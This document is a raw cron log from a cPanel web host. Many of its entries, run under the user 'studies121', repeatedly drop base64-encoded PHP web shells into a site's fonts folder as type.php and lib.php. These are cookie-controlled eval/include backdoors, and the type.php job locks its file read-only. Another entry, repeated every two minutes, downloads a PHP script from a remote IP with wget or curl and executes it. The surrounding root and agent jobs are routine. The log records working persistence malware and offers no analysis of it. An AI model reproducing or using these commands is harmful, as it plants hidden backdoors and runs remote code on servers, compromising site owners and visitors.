Aug 31 03:11:02 ip-184-168-122-23 CROND[18447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:12:01 ip-184-168-122-23 CROND[18628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:12:01 ip-184-168-122-23 CROND[18629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:12:01 ip-184-168-122-23 CROND[18632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:12:01 ip-184-168-122-23 CROND[18634]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:12:01 ip-184-168-122-23 CROND[18633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:13:01 ip-184-168-122-23 CROND[18723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:13:01 ip-184-168-122-23 CROND[18725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:13:01 ip-184-168-122-23 CROND[18726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:13:01 ip-184-168-122-23 CROND[18729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:14:01 ip-184-168-122-23 CROND[18808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:14:01 ip-184-168-122-23 CROND[18810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:14:01 ip-184-168-122-23 CROND[18813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:14:01 ip-184-168-122-23 CROND[18812]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:14:01 ip-184-168-122-23 CROND[18811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:15:01 ip-184-168-122-23 CROND[18902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:15:01 ip-184-168-122-23 CROND[18905]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:15:01 ip-184-168-122-23 CROND[18906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:15:01 ip-184-168-122-23 CROND[18904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:15:01 ip-184-168-122-23 CROND[18907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:15:01 ip-184-168-122-23 CROND[18908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:16:01 ip-184-168-122-23 CROND[18991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:16:01 ip-184-168-122-23 CROND[18993]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:16:01 ip-184-168-122-23 CROND[18994]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 03:16:01 ip-184-168-122-23 CROND[18995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:16:01 ip-184-168-122-23 CROND[18996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:16:01 ip-184-168-122-23 CROND[19001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:17:01 ip-184-168-122-23 CROND[19086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:17:01 ip-184-168-122-23 CROND[19088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:17:01 ip-184-168-122-23 CROND[19089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:17:01 ip-184-168-122-23 CROND[19090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:18:01 ip-184-168-122-23 CROND[19164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:18:01 ip-184-168-122-23 CROND[19165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:18:01 ip-184-168-122-23 CROND[19168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:18:01 ip-184-168-122-23 CROND[19167]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:18:01 ip-184-168-122-23 CROND[19169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:19:01 ip-184-168-122-23 CROND[19373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:19:01 ip-184-168-122-23 CROND[19375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:19:01 ip-184-168-122-23 CROND[19377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:19:01 ip-184-168-122-23 CROND[19376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:20:01 ip-184-168-122-23 CROND[19455]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 03:20:01 ip-184-168-122-23 CROND[19459]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:20:01 ip-184-168-122-23 CROND[19462]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 03:20:01 ip-184-168-122-23 CROND[19461]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:20:01 ip-184-168-122-23 CROND[19465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:20:01 ip-184-168-122-23 CROND[19464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:20:01 ip-184-168-122-23 CROND[19469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:20:01 ip-184-168-122-23 CROND[19470]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:20:01 ip-184-168-122-23 CROND[19471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:21:02 ip-184-168-122-23 CROND[19559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:21:02 ip-184-168-122-23 CROND[19560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:21:02 ip-184-168-122-23 CROND[19561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:21:02 ip-184-168-122-23 CROND[19558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:22:01 ip-184-168-122-23 CROND[19645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:22:01 ip-184-168-122-23 CROND[19648]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:22:01 ip-184-168-122-23 CROND[19649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:22:01 ip-184-168-122-23 CROND[19651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:22:01 ip-184-168-122-23 CROND[19650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:23:01 ip-184-168-122-23 CROND[19750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:23:01 ip-184-168-122-23 CROND[19752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:23:01 ip-184-168-122-23 CROND[19751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:23:01 ip-184-168-122-23 CROND[19753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
